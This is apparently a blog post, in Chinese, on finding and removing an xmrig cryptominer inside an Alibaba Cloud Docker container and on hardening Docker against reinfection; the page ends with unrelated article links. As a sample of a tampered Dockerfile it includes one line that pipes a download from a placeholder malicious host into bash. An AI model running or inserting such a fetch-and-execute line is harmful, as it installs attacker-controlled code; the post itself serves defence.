【攻防篇】解决:阿里云docker 容器中自动启动xmrig挖矿

解决:阿里云服务器docker容器被植入挖矿程序

    • **1. 紧急处理:停止挖矿进程**
      • **(1)查找并终止 `xmrig` 进程**
      • **(2)删除恶意文件**
    • **2. 清理被感染的容器**
      • **(1)停止并删除容器**
      • **(2)检查镜像是否被污染**
    • **3. 防护措施:防止再次被入侵**
      • **(1)使用最小化镜像**
      • **(2)限制容器资源**
      • **(3)禁止容器内运行可疑进程**
      • **(4)监控容器行为**
      • **(5)避免暴露 Docker API**
    • **4. 排查入侵来源**
      • **(1)检查 Docker 日志**
      • **(2)检查宿主机是否被入侵**
      • **(3)检查 Dockerfile 是否被篡改**
    • **5. 总结**

如果发现 Docker 容器内自动启动 xmrig 挖矿程序,说明你的容器可能被入侵(通常是由于 镜像被篡改容器内运行了恶意脚本)。以下是 排查、清理和防护措施


1. 紧急处理:停止挖矿进程

(1)查找并终止 xmrig 进程

# 进入容器
docker exec -it <容器名或ID> /bin/bash# 查找挖矿进程(xmrig、minerd、cpuminer等)
ps aux | grep -E "xmrig|minerd|cpuminer"# 强制终止进程(替换PID)
kill -9 <PID># 如果进程自动重启,检查定时任务或守护进程
crontab -l          # 查看定时任务
ls -la /etc/cron.*  # 检查cron目录
find / -name "*xmrig*"  # 查找挖矿程序路径

(2)删除恶意文件

# 删除挖矿程序和相关文件
rm -rf /tmp/xmrig /var/tmp/.cache/xmrig# 检查容器内是否有异常启动脚本
find / -name "*.sh" | xargs grep "xmrig"  # 检查脚本是否包含xmrig

2. 清理被感染的容器

(1)停止并删除容器

docker stop <容器名或ID>
docker rm <容器名或ID>

(2)检查镜像是否被污染

# 查看所有镜像
docker images# 如果镜像来源不可信,删除并重新拉取
docker rmi <恶意镜像名>

3. 防护措施:防止再次被入侵

(1)使用最小化镜像

  • 避免使用 latest 标签,选择官方受信任的镜像(如 alpinedebian-slim)。
  • 示例:
    FROM alpine:3.18
    RUN apk add --no-cache bash
    

(2)限制容器资源

docker run 时限制 CPU 和内存,防止挖矿程序耗尽资源:

docker run --cpus 1 --memory 512m -d <镜像名>

(3)禁止容器内运行可疑进程

使用 SeccompAppArmor 限制容器权限:

# 使用默认的Seccomp配置文件(限制危险系统调用)
docker run --security-opt seccomp=default.json -d <镜像名>

(4)监控容器行为

  • 使用 docker stats 检查异常 CPU/内存占用
    docker stats
    
  • 使用 FalcoSysdig 监控容器行为
    falco -r /etc/falco/falco_rules.yaml
    

(5)避免暴露 Docker API

  • 禁止远程访问 Docker API(默认端口 2375):
    # 修改 /etc/docker/daemon.json
    {"hosts": ["unix:///var/run/docker.sock"]
    }
    
  • 启用 TLS 认证(防止未授权访问)。

4. 排查入侵来源

(1)检查 Docker 日志

journalctl -u docker | grep "error\|warning"

(2)检查宿主机是否被入侵

  • 查看异常进程
    top -c
    
  • 检查 SSH 登录记录
    grep "Accepted" /var/log/auth.log
    

(3)检查 Dockerfile 是否被篡改

如果使用自定义镜像,检查 Dockerfile 是否包含恶意命令:

# 恶意示例(可能隐藏在RUN命令中)
RUN curl -sL https://malicious.site/xmrig | bash

5. 总结

步骤命令/操作
终止挖矿进程kill -9 <PID>,删除 /tmp/xmrig
清理容器docker stop + docker rm,检查镜像是否安全
限制资源docker run --cpus 1 --memory 512m
监控容器docker statsFalco
加固 Docker关闭 2375 端口,使用 Seccomp/AppArmor

建议

  • 定期更新 Docker 和镜像,避免使用来源不明的镜像。
  • 使用 Trivy 扫描镜像漏洞
    trivy image <镜像名>
    
  • 启用 Docker 日志审计,记录所有容器操作。

如果问题仍然存在,可能需要 全面检查宿主机重建 Docker 环境

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/87033.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/87033.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

对称非对称加密,https和http,https通讯原理,Charles抓包原理

文章目录 对称加密的非对称加密http和https原理TCP三次握手四次挥手https通讯流程&#xff1a;Charles抓包原理 对称加密的非对称加密 对称加密&#xff1a;发送方的接收方式使用同一个秘钥进行加密和解密&#xff0c;发送方将需要发送的数据&#xff0c;选择某种加密算法&…

Kubernetes(K8s)_15_调度原理

文章目录 Pod调度实现原理调度队列优先队列底层数据 调度缓存调度框架 Pod调度 Pod调度: 通过污点、容忍度和亲和性影响Pod的调度 调度器实现, 其基于配置器构造(其配置来源于配置API)调度过程中任何插件返回拒绝, 都会导致Pod可能再次返回调度队列 如: Pod调度简略流程 调度…

moduo之tcp客户端TcpClient

结构 #mermaid-svg-muvN6eOMXA4rCyXP {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-muvN6eOMXA4rCyXP .error-icon{fill:#552222;}#mermaid-svg-muvN6eOMXA4rCyXP .error-text{fill:#552222;stroke:#552222;}#merm…

中国科技术语杂志中国科技术语杂志社中国科技术语编辑部2025年第3期目录

理论研究 认知术语学与社会认知术语学比较研究 吴小芳; 3-11 大语言模型背景下的术语翻译研究&#xff1a;现状、问题与展望 朱玉彬;王梓; 12-20 航空事件谣言叙事中的术语初探 刘成盼;刘东亮; 21-28 定名研讨 浅谈训诂、训诂学和训诂学术语 林童; 29-35 …

自然语言处理NLP期末复习

目录 第一章1. NLP的基本过程包括哪些-自然语言处理面临的困难是什么2. 自然语言处理算法定义&#xff0c;过程和应用3. 结合自己的研究-描述研究中涉及的自然语言处理模型或算法&#xff0c;模型或算法原理&#xff0c;具体的处理过程4. 自然语言处理的的两大核心任务是5. 程序…

单片机 - STM32F103“复用功能重映射”完整解析:从JTAG释放到TIM重映射实战详解

本文将详细讲解 STM32F103 系列中常见的“复用功能重映射”&#xff08;Remap&#xff09;机制&#xff0c;包括 JTAG 占用、引脚默认功能与复用功能的关系&#xff0c;以及如何通过寄存器或标准库代码实现重映射。以 TIM3 在 PB4/PB5 上输出 PWM 为例&#xff0c;进行实战讲解…

【C语言】知识总结·内存函数

目录 前言&#xff1a; 一、内存复制函数 1. memcpy - 内存块复制 2. memmove - 内存块移动 二、内存设置函数 1. memset - 内存块填充 三、内存比较函数 1. memcmp 2.memchr 三内存分配函数 1 .malloc 2.free 总结&#xff1a; 注意事项&#xff1a; 前言&…

python+uniapp基于微信小程序面向品牌会员的在线商城系统

文章目录 具体实现截图本项目支持的技术路线源码获取详细视频演示&#xff1a;文章底部获取博主联系方式&#xff01;&#xff01;&#xff01;&#xff01;本系统开发思路进度安排及各阶段主要任务java类核心代码部分展示主要参考文献&#xff1a;源码获取/详细视频演示 ##项目…

小鱼fish系统 sudo apt update报错(密钥失效)

在使用小鱼fish提供的系统镜像文件&#xff0c;sudo apt update系统更新时遇到了以下报错&#xff0c;即ROS 2 仓库的 GPG 密钥已过期&#xff0c;以及 Docker 仓库使用了过时的密钥存储方式 fishrosfishros-linux:~$ sudo apt update 获取:1 http://mirrors.tuna.tsinghua.ed…

深度优先搜索 (DFS) 详解

1. 什么是深度优先搜索&#xff1f; 深度优先搜索&#xff08;Depth-First Search, DFS&#xff09;是一种用于遍历或搜索树或图的算法。这个算法会尽可能深地搜索树的分支。当节点v的所在边都已被探寻过&#xff0c;搜索将回溯到发现节点v的那条边的起始节点。这一过程一直进…

文心4.5开源大模型的使用和部署

前言 就在今天&#xff0c;文心4.5模型开源了&#xff0c;不是一个&#xff0c;而是整个系列模型正式开源。很突然&#xff0c;我都震惊了。文心4.5系列开源模型共10款&#xff0c;涵盖了激活参数规模分别为47B 和3B 的混合专家&#xff08;MoE&#xff09;模型&#xff08;最…

HarmonyOs开发之——TypeScript介绍、入门,及 TypeScript、JavaScript、ArkTs的具体区别解读。

HarmonyOs开发之——TypeScript介绍、入门&#xff0c;及 TypeScript、JavaScript、ArkTs的具体区别解读。 一、 开发语言介绍&#xff1a; TypeScript是JavaScript的超集&#xff0c;ArkTS则是TypeScript的超集。ArkTs是 HarmonyOs的主力开发语言&#xff0c;它在TypeScript…

《JMS事务性会话彻底解析:消息监听中的 commit、rollback 和幂等设计》

大家好&#xff0c;我是G探险者&#xff01; &#x1f4cc; 场景引入 在实际项目中&#xff0c;我们常常面临以下挑战&#xff1a; 监听 MQ 消息失败了&#xff0c;希望自动重试&#xff1f;消费 MQ 消息后&#xff0c;要写数据库&#xff0c;但中间报错了&#xff1f;消息处…

vue3 el-table 列增加 自定义排序逻辑

在 Vue 3 中使用 Element Plus 的 <el-table> 组件时&#xff0c;如果你想增加自定义排序逻辑&#xff0c;可以通过以下几个步骤实现&#xff1a; 1. 使用 default-sort 属性 首先&#xff0c;你可以在 <el-table> 组件上使用 default-sort 属性来指定默认的排序…

ISP Pipeline(7): Gamma Correction 伽马校正

AI_Plays/ISP/Fast_ISP_Progress.ipynb at main ameengee/AI_Plays GitHub Gamma Correction&#xff08;伽马校正&#xff09;是图像处理中的一个重要步骤&#xff0c;目的是调整图像的亮度&#xff0c;使其更符合人眼的感知或显示设备的特性。 为什么需要 Gamma Correcti…

AI提取伴奏,实现卡拉OK效果 —— 「suno api/luno api/kuka api」

导读 喜欢唱歌&#xff0c;却总苦于找不到纯净的伴奏&#xff1f;或者你想把喜欢的歌曲翻唱一遍&#xff0c;却被人声干扰搞得头大&#xff1f;现在&#xff0c;AI技术已经悄悄解决了这个问题。借助AI智能工具&#xff0c;你可以轻松提取任何一首歌的伴奏&#xff0c;享受宛如…

pip介绍

pip是什么&#xff1f; pip&#xff08;Pip Installs Packages&#xff09;是Python的官方管理工具&#xff0c;用于安装、升级、卸载和管理Python第三方库及其依赖关系。它是Python生态系统的核心组件&#xff0c;通过连接PyPI&#xff08;Python Package Index&#xff09;这…

机器学习20-线性网络思考

机器学习20-线性网络思考 针对线性网络的基础问题&#xff0c;使用基础示例进行解释 1-核心知识点 1-线性模型家族的线性回归和逻辑回归分别是什么&#xff0c;线性模型家族还有没有其他的模型 线性模型家族是一系列基于线性假设的统计模型&#xff0c;它们假设因变量和自变量…

【科研绘图系列】R语言绘制世界地图分布(world map)

禁止商业或二改转载,仅供自学使用,侵权必究,如需截取部分内容请后台联系作者! 文章目录 介绍加载R包数据下载导入数据数据预处理准备画图画图总结系统信息介绍 本教程旨在通过R语言及其相关地理空间分析包,展示如何对环境数据进行空间聚类分析,并将结果可视化。教程从读…

Armbian 25.5.1 Noble Gnome 开启远程桌面功能

sudo apt install gnome-remote-desktop ----长话短说 故障表现 Ubuntu 25版本点击远程桌面功能没有任何反应, WIN_20250630_00_53_24_Pro 最后 armbian 官方社区充满了傲慢,一言不合就关闭话题,问题都没有解决就给我关闭了 最后检索到英文网站,说到了这么一句话,检查远程桌…